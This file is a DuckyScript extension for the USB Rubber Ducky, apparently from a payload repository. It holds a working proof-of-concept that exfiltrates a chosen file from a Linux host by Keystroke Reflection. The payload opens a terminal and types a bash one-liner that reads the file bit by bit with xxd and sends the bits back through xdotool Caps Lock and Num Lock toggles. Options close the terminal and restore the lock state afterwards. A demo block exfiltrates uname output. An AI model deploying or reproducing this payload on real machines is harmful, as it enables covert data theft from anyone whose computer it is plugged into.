Path: blob/master/payloads/extensions/linux_hid_exfil.txt
2968 views
EXTENSION LINUX_HID_EXFIL1REM VERSION 1.12REM AUTHOR: Korben34REM REQUIRES EXTENSION EXFIL_AUTO_EOF_DETECT56REM_BLOCK DOCUMENTATION7Helpers for Linux Keystroke Reflection data exfiltration8This payload is a proof of concept for USB HID only Data Exfiltration910TARGET:11Linux host that supports opening terminal via CTRL ALT t, and xdotool1213USAGE:14REQUIRES EXFIL_AUTO_EOF_DETECT EXTENSION15Prepare data to exfil (in filename defined by TARGET_FILE below)16with a terminal window already open - call RUN_LINUX_EXFIL()1718DEPLOYMENT:19Plug Ducky into host, wait for the LED to turn (and stay) solid Green.20END_REM2122REM CONFIGURATION:23REM File on host machine to exfil using Keystroke Reflection attack24DEFINE #TARGET_FILE filename.txt2526DEFINE #SAVE_AND_RESTORE_LOCKS TRUE27DEFINE #ENABLE_EXFIL_LEDS TRUE28DEFINE #CLOSE_TERMINAL_AFTER_EXFIL TRUE2930REM if TRUE will open terminal, prepare data in #TARGET_FILE, and RUN_LINUX_EXFIL()31DEFINE #RUN_SIMPLE_USAGE_DEMO FALSE3233FUNCTION RUN_LINUX_EXFIL()34IF_DEFINED_TRUE #ENABLE_EXFIL_LEDS35LED_OFF36$_EXFIL_LEDS_ENABLED = TRUE37END_IF_DEFINED3839IF_DEFINED_TRUE #SAVE_AND_RESTORE_LOCKS40SAVE_HOST_KEYBOARD_LOCK_STATE41END_IF_DEFINED4243$_EXFIL_MODE_ENABLED = TRUE44STRING_BASH45c="xdotool key --delay 4";46bs=$(xxd -b47#TARGET_FILE48|cut -d" " -f2-7);49for((i=0;i<${#bs};i++));do50b="${bs:$i:1}";51if [[ "$b" == "0" ]];then52c+=" Caps_Lock";53fi;54if [[ "$b" == "1" ]];then55c+=" Num_Lock";56fi;57done;58$c;59END_STRING6061IF_DEFINED_TRUE #CLOSE_TERMINAL_AFTER_EXFIL62STRING exit;63END_IF_DEFINED6465ENTER6667REM Requires adding EXFIL_AUTO_EOF_DETECT EXTENSION above this one68WAIT_FOR_EOF()6970$_EXFIL_MODE_ENABLED = FALSE7172IF_DEFINED_TRUE #ENABLE_EXFIL_LEDS73$_EXFIL_LEDS_ENABLED = FALSE74END_IF_DEFINED7576IF_DEFINED_TRUE #SAVE_AND_RESTORE_LOCKS77RESTORE_HOST_KEYBOARD_LOCK_STATE78END_IF_DEFINED79END_FUNCTION8081IF_DEFINED_TRUE #RUN_SIMPLE_USAGE_DEMO82REM DO NOT MODIFY THIS DEMO - copy and move outside extension if using as template.83REM DEMO Boot Delay84DELAY 300085REM Open Terminal86CTRL ALT t87DELAY 50088REM Perpare some data in TARGET_FILE89STRINGLN uname -a>#TARGET_FILE90REM Exfil data to USB Rubber Ducky using Keystroke Reflection91RUN_LINUX_EXFIL()92END_IF_DEFINED93END_EXTENSION949596